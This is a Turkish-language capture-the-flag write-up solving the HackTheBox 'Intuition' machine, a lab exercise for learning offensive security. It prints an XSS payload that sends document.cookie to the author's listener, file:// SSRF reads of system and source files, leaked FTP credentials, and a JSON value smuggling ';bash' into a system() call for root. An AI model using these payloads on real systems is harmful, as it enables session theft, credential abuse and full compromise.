HackTheBox :: Intuition
Merhaba, konuma hoş geldin. Bu konumda sana HackTheBox platformunda bulunan Intuition isimli makinenin çözümünü göstereceğim. Aslında corporate isimli makinenin çözümünü gösterecektim ama ne yazık ki yetkililer tarafından hurdalığa atılmış. Çözebilmek için üyeliğimi VIP'e yükseltmem gerekiyor. Ayda 2-3 makine çözdüğüm içinde buna para harcamamın saçma olduğu fikrindeyim. Gerçi hurdalığa atılmış olmasaydı da muhtemelen çözemeyecektim, çünkü ippsec'in yayınladığı videoyu izlediğimde hiç tahmin edemeyeceğim bir yerden sisteme girdiğini gördüm. Her neyse konuya dönecek olursak, bu makine linux tabanlı zor seviye bir makinedir. Ayrıca burada çözümünü göstereceğim ilk zor makinedir. Öncelikle arkada çalacak rastgele bir video açın (b-bu çok önemli). Daha sonra ise nmap ile bir port taraması gerçekleştirelim.
CoffeeScript:
Nmap scan report for 10.10.11.15
Host is up (0.14s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 b3:a8:f7:5d:60:e8:66:16:ca:92:f6:76:ba:b8:33:c2 (ECDSA)
|_ 256 07:ef:11:a6:a0:7d:2b:4d:e8:68:79:1a:7b:a7:a9:cd (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://comprezzor.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.75 seconds
Tarama sonucunda 22 ve 80 numaralı portların açık olduğunu ve HTTP servisine erişmeye çalıştığında comprezzor.htb adresine yönlendirdiğini görüyoruz. Domaini ve IP adresini /etc/hosts dosyasına girelim.
Buradan sonrası daha da karmaşıklaşacak, vaziyet alın. Şaka bir yana buradan sonra yapacağımız şey yeni bilgiler keşfetmek ve bulgularımızı kaydetmek. Asla ama asla tek bir bulgu üzerine yoğunlaşmayacağız. Öğrendiğim temel şeylerden biride buydu. Her gördüğümüz şeyi saatlerce kurcalamak yerine hızlıca göz gezdirip diğer alanlara yönelmeliyiz. Aksi taktirde bir süre sonra baş ağrısına sebep olacak.
İşte gördünüz mü, tam saatler harcamalık bir dosya sıkıştırma uygulaması. Sadece txt, pdf ve docx uzantılarını kabul ediyor ve girildiğinde bu dosyaları sıkıştırıp indirmemizi sağlıyor. Şimdilik bunu kaydedip, görmezden geleceğiz. Ta ki başka bulgu bulamayana kadar. Bu arada sayfanın footer kısmında bir alt alan adı bulunuyor.
Bu alan adınıda /etc/hosts dosyasına girdikten sonra sayfayı ziyaret ettim. Burada bir geri bildirim uygulaması bulunuyor. Sanırım sistemde oluşan sorunları bu sayfadan bildirebiliyoruz. Sayfa içerisinde hakkında sayfasına yönlendiren bir link ve auth.comprezzor.htb adresine yönlendiren bir buton var. Hakkında sayfasında önemli bir bilgi yok. Bulduğumuz alan adını /etc/hosts dosyasına girelim ve yönlendirdiği sayfayı gözden geçirelim.
Sayfada bir giriş formu ve kayıt formu bulunuyor. Bir kullanıcı kaydı oluşturduktan sonra giriş yaptım ve beni tekrar report.comprezzor.htb adresine yönlendirdi. Her şey birinin bir şey her şeyin içinde adeta. Tekrar "report bug" butonuna tıkladıktan sonra sorunumuzu yazabileceğimiz form ile karşılaşıyoruz.
Burada göndereceğimiz bilgileri karşı tarafta biri okuyacağı için her iki girdi alanına da aşağıdaki kodu yazıp gönderdim. Bu kod, eğer "</(?" gibi karakterler engellenmiyorsa ve karşı tarafta bildirileri okuyan birisi varsa bize kurabiyesini getirecek. Böylece onun kurabiyesi ile sistemine gireceğiz. Tabi önce nc ile 8080 portunu dinlemeye alalım.
<img src=x onerror="fetch('http://10.10.14.96:8080/?w='+document.cookie)" />
Kurabiyesini ve bildirileri okuduğu dashboard.comprezzor.htb adresini öğrendik, bu adreside /etc/hosts dizinine girelim. Bu arada kurabiyenin base64 ile kodlandığını öğrendim. Çözdüğümüzde kullanıcının "adam" olduğu ve rolünün "webdev" olduğu ortaya çıkıyor. Bir SHA256 hashi de bulunuyor ancak kıramadım. Kendi kurabiyemide çözdüğüm için kendi şifresi olmadığını biliyorum.
Bildirileri kontrol eden kişinin kullandığı panel bu şekilde. Report ID'lerin üzerine tıklayarak bildirileri okuyor ve buna göre aksiyon alıyor.
Bu bildirilerde benim işime yarayacak bir bilgi yok. Öncelikle bu sayfada IDOR zafiyetinin barınmadığını söyleyeyim, kontrol etmeye dahi gerek yok. İlk olarak onu düşündüğünü biliyorum, sakın inkar etme. Ee o zaman ne yapacağız will dediğini duyar gibiyim. Yukarıda gördüğünüz bildiri ile neler yapabileceğimize bakalım bakalım. Üç adet buton görüyorsunuz bunlar: çözüldü, öncelikli olarak ayarla ve bildiriyi sil. İlk iki butonun ne işe yaradığı bariz bir şekilde belli. Ama ya diğeri, o ne işe yarıyor? Daha önce çözdüğümüz kurabiye sayesinde uygulamada farklı rollerin barındığını biliyoruz. Mantıken admin adında ve yetkisinde bir hesap daha bulunduğunu düşünebiliriz. Öncelikli olarak işaretlediğimizde yani butona tıkladığımızda bu bildiri daha yetkili birine gidiyor olabilir. Şimdi tekrar bir bildiri gönderelim. Gönderdikten sonra ise bildiriyi öncelikli olarak işaretleyelim.
veeee admin yetkisindeyiz. Konudan bağımsız olarak neden ilk başta nc sonrada python httpserver kullandım diye merak ettiyseniz diye açıklama yapayım dedim. -k parametresi çalışmıyor, bu kadar. Admin sayfasında form bulunan tek bir sayfa var. Dolayısıyla işimizi görecek tek bir sayfa var. Bu arada size söylemedim ama backup ile alakalı bir dizin olduğunu biliyordum, bir dizin taraması gerçekleştirmiştim. Resolve adında bir dizin daha keşfettim ama sunucu hatası veriyor.
Bizden bir url girmemizi istiyor, böylece bu adresten bir pdf dosyası oluşturabilecek. Burada " file:///etc/passwd" şeklinde bir girdi ile sistemdeki dosyaları pdf'e dönüştürmesini sağlayabiliyorum.
/etc/passwd Dosyası içerisinde bir kullanıcı göremedim. Görebilseydim ilk olarak id_rsa dosyasını çekmeye çalışırdım ama yok. Her neyse url olarak kendi ip adresimi ve nc ile dinlediğim portu girdiğimde gelen isteğin user-agent kısmında urllib ibaresini gördüm, kendisi python da çalışan bir modül. Artık sistem hangi dosyayı çalıştırıyorsa onu öğrenmek için /proc/self/cmdline dosyasını çekmesini sağladım.
/app/code/ adresindeki app.py dosyasını çalıştırıyormuş. İçeriğine bakalım bakalım.
JavaScript:
from flask import Flask, request, redirect from blueprints.index.index
import main_bp from blueprints.report.report
import report_bp from blueprints.auth.auth
import auth_bp from blueprints.dashboard.dashboard
import dashboard_bp
app = Flask(__name__)
app.secret_key = "7ASS7ADA8RF3FD7"
app.config['SERVER_NAME'] = 'comprezzor.htb'
app.config['MAX_CONTENT_LENGTH'] = 5 * 1024 * 1024 #Limit file size to 5MB
ALLOWED_EXTENSIONS = {'txt','pdf', 'docx'} # Add more allowed file extensions if needed
app.register_blueprint(main_bp)
app.register_blueprint(report_bp, subdomain='report')
app.register_blueprint(auth_bp, subdomain='auth')
app.register_blueprint(dashboard_bp, subdomain='dashboard')
if __name__ == '__main__':
app.run(debug=False,
host="0.0.0.0", port=80)
Gördüğünüz parolamsı şeyi görmezden gelin, ne yapacağız sanki abi onunla. İmport edilen fonksiyonlardan devam edelim. /app/code/blueprints/dashboard/dashboard.py bu adresteki dosya içerisinde ftp kullanıcı bilgileri bulunuyor.
Hatırlarsanız size backup adında bir dizin bulduğumu söylemiştim. Burada dizine gittiğimde veya butona tıkladığımda ftp üzerinden dosya yüklüyormuş. Bulduğumuz kullanıcı bilgilerini kullanarak ftp servisine bağlanmayı deneyelim.
ftp://ftp_admin:[email protected]
İçerisinde barınan dosyalar aşağıdaki şekilde. ee backup dosyası nerede?
Kod:
-rw------- 1 root root 2655 Aug 09 16:55 private-8297.key
[LEFT]-rw-r--r-- 1 root root 15519 Aug 09 16:55 welcome_note.pdf -
rw-r--r-- 1 root root 1732 Aug 09 16:55 welcome_note.txt
Adresin sonuna private-8297.key dosyasını girdikten sonra tekrar bir istek gönderelim.
ftp://ftp_admin:[email protected]/private-8297.key
Artık giriş biletimiz elimizde. Sadece kullanıcı adına ihtiyacımız var. O da herhalde welcome_note.txt içerisinde yazıyordur diye düşünüyordum. Ancak içeriğini kontrol ettiğimde bir aşk mektubu ile karşılaştım. Şaka bir yana içerisinde gizliliği sağlamak için bir ssh private key oluşturduğunu ve kullanabilmek için şifresini söylüyor. Bu şifreyi kullanarak private key ile authorized_key'i oluşturdum, kullanıcı adını görebiliyorum.
Sonrada elimizdeki bilgileri kullanarak bir SSH bağlantısı gerçekleştiriyor ve user.txt dosyasından ilk bayrağımızı alıyoruz.
Sisteme adımımızı attık. Bu kadarıyla kalmayacak ve root yetkisini alacağız. Sistemde biraz dolaşalım. Sistemde adam, lopez ve dev_acc olmak üzere üç kullanıcı bulunuyor. /opt dizini içerisinde ise containerd, ftp, google, playbook ve runner2 olmak üzere üç dizin bulunuyor. ftp ve google dizini haricindeki dizinleri görüntüme yetkimiz yok. ftp dizini içerisinde adam ve ftp_admin olmak üzere iki dizin daha var ve ikisinide görüntüleyemiyoruz. En azından ftp servisi üzerinde adam isimli bir kişinin paylaşım yaptığını öğrendik. Web uygulamasında kullanılan kullanıcı bilgilerini toplamak için /var/www/app dizinine gittim ve users.db dosyasından hashleri aldım.
Elde ettiğimiz şifreleri hashcat ile kıralım.
Sadece adam kullanıcısının şifresini kırabildik. Bu şifreyi kullanarak adam kullanıcısına geçiş yapmaya çalıştım ama şifresi geçerli değilmiş. Bununla birlikte bulduğumuz ftp servisinde de denedim ve giriş yapabildim. İçerisinde backup adında bir dizin var. Onun içerisinde runner1 adında bir dizin var ve onun içindede run-tests.sh, runner1 ve runner1.c olmak üzere üç dosya var.
run-tests.sh dosyasının içeriğini görüyorsunuz. Açıklama satırları içinde runner1 dosyasını nasıl çalıştıracağımızı ve doğrulama kodunun bir kısmı var. runner1.c dosyası içerisinde ise runner1 dosyasının kaynak kodu bulunuyor. İçerisinde biraz önce belirttiğim doğrulama kodunun md5 karşılığı var. Hashcat ile bu hash'i kırmaya çalışalım, belki işimizi görür. Zaten doğrulama kodunun bir kısmı mevcut.
Pekala şimdi /opt/runner2 dizini içerisindeki runner dosyasının doğrulama kodunu biliyoruz. Bu dizindeki dosyayı çalıştırabilmemiz için sys-admin grubunda olmamız gerekiyor. Tıkandığım için linpeas aracından yardım alacağım.
4444, 43968 ve 8080 olmak üzere yerel ağda üç port açık. ssh tünelleme yoluyla yerel ağımızdan bu portlara erişebiliriz. Tabiki sadece 4444 portuna, diğerlerinin olayının ne olduğunu anlamadım.
ssh [email protected] -i domates -L 4444:127.0.0.1:4444
Bu uygulama üzerindeki versiyondan yola çıkarak hiçbir şey bulamadım. Biraz daha kurcaladıktan sonra bağlı olan makineyi görünütlemek için bir buton buldum ama kullanabilmek için bir şifreye ihtiyacımız var. Elimdeki tüm şifreleri kullandım ama nafile.
Linpeas sonuçlarını tekrar gözden geçirdim. Bu sefer sadece kırmızı renkteki yazılara bakmadım ve surricata kullandığını fark ettim.
Surricata, açık kaynak kodlu saldırı tespit ve önleme sistemiymiş. Kendisi ile yapabileceğimiz bir şey de yok, sonuçta başka kullanıcı adına çalıştıramıyoruz. Bari log dosyaları üzerinden şifre vs toplamaya çalışalım.
sudo -l komutunu kullanarak ayrıcalıklarımı görüntülediğimde herhangi bir kullanıcı olarak /opt/runner2/runner2 dosyasını çalıştırabileceğimi gördüm. Fakat bu dosya ftp servisinde bulduğumuz runner1.c dosyasından farklı olarak sadece bir json dosyası istiyor.
Gördüğünüz üzere bizden bir json dosyası istiyor ama nasıl bir dosya istiyor. ghidra ile decompile ettim, main fonksiyonu aşağıdaki şekildedir.
C:
undefined8 main(int param_1,undefined8 *param_2)
{
int iVar1;
FILE *__stream;
long lVar2;
int *piVar3;
int *piVar4;
char *pcVar5;
undefined8 uVar6;
DIR *__dirp;
dirent *pdVar7;
int local_80;
char *local_78;
if (param_1 != 2) {
printf("Usage: %s <json_file>\n",*param_2);
return 1;
}
__stream = fopen((char *)param_2[1],"r");
if (__stream == (FILE *)0x0) {
perror("Failed to open the JSON file");
return 1;
}
lVar2 = json_loadf(__stream,2,0);
fclose(__stream);
if (lVar2 == 0) {
fwrite("Error parsing JSON data.\n",1,0x19,stderr);
return 1;
}
piVar3 = (int *)json_object_get(lVar2,&DAT_00102148);
if ((piVar3 == (int *)0x0) || (*piVar3 != 0)) {
fwrite("Run key missing or invalid.\n",1,0x1c,stderr);
}
else {
piVar4 = (int *)json_object_get(piVar3,"action");
if ((piVar4 == (int *)0x0) || (*piVar4 != 2)) {
fwrite("Action key missing or invalid.\n",1,0x1f,stderr);
}
else {
pcVar5 = (char *)json_string_value(piVar4);
iVar1 = strcmp(pcVar5,"list");
if (iVar1 == 0) {
listPlaybooks();
}
else {
iVar1 = strcmp(pcVar5,"run");
if (iVar1 == 0) {
piVar3 = (int *)json_object_get(piVar3,&DAT_00102158);
piVar4 = (int *)json_object_get(lVar2,"auth_code");
if ((piVar4 != (int *)0x0) && (*piVar4 == 2)) {
uVar6 = json_string_value(piVar4);
iVar1 = check_auth(uVar6);
if (iVar1 != 0) {
if ((piVar3 == (int *)0x0) || (*piVar3 != 3)) {
fwrite("Invalid \'num\' value for \'run\' action.\n",1,0x26,stderr);
}
else {
iVar1 = json_integer_value(piVar3);
__dirp = opendir("/opt/playbooks/");
if (__dirp == (DIR *)0x0) {
perror("Failed to open the playbook directory");
return 1;
}
local_80 = 1;
local_78 = (char *)0x0;
while (pdVar7 = readdir(__dirp), pdVar7 != (dirent *)0x0) {
if ((pdVar7->d_type == '\b') &&
(pcVar5 = strstr(pdVar7->d_name,".yml"), pcVar5 != (char *)0x0)) {
if (local_80 == iVar1) {
local_78 = pdVar7->d_name;
break;
}
local_80 = local_80 + 1;
}
}
closedir(__dirp);
if (local_78 == (char *)0x0) {
fwrite("Invalid playbook number.\n",1,0x19,stderr);
}
else {
runPlaybook(local_78);
}
}
goto LAB_00101db5;
}
}
fwrite("Authentication key missing or invalid for \'run\' action.\n",1,0x38,stderr);
json_decref(lVar2);
return 1;
}
iVar1 = strcmp(pcVar5,"install");
if (iVar1 == 0) {
piVar3 = (int *)json_object_get(piVar3,"role_file");
piVar4 = (int *)json_object_get(lVar2,"auth_code");
if ((piVar4 != (int *)0x0) && (*piVar4 == 2)) {
uVar6 = json_string_value(piVar4);
iVar1 = check_auth(uVar6);
if (iVar1 != 0) {
if ((piVar3 == (int *)0x0) || (*piVar3 != 2)) {
fwrite("Role File missing or invalid for \'install\' action.\n",1,0x33,stderr);
}
else {
uVar6 = json_string_value(piVar3);
installRole(uVar6);
}
goto LAB_00101db5;
}
}
fwrite("Authentication key missing or invalid for \'install\' action.\n",1,0x3c,stderr);
json_decref(lVar2);
return 1;
}
fwrite("Invalid \'action\' value.\n",1,0x18,stderr);
}
}
}
LAB_00101db5:
json_decref(lVar2);
return 0;
}
Koddaki her satırı açıklamayacağım tabiki. Bu hem benim için hemde sizin için zor olur. Bunun yerine bir kaç satırda ne iş yaptığını açıklayacağım. İlk önce json dosyasının belirtilip belirtilmediğini kontrol ediyor. Daha sonra ise bu dosyayı okuyup json formatına çeviriyor. Devamında ise koşulları kullanarak json dosyasının içerisindeki parametreleri alıyor. Farkettiyseniz ftp servisinde bulduğumuz bash dosyasındaki parametreler ile aynı hepsi.
Buradaki action parametresi if koşulundan geliyor. Eğer action parametresinin değeri "install" ise ve bir role_file belirtilmiş ise role_file parametresindeki dosyayı installRol() fonksiyonuna gönderiyor. Bu fonksiyonda da dosyayı alıp terminal üzerinde bir komut çalıştırdığını görüyoruz.
C:
snprintf(local_418,0x400,"%s install %s","/usr/bin/ansible-galaxy",param_1);
system(local_418);
Bu durumda kullanacağımız dosya içeriği şu şekilde.
Kod:
{
"run":{
"action":"install",
"role_file":"will.tar.gz;bash"
},
"auth_code":"UHI75GHINKOP"
}
Json dosyası olarak kayıt ettikten sonra bu dosyayı sıkıştırıp root olarak çalıştırmasını sağlıyoruz.
Son düzenleme:



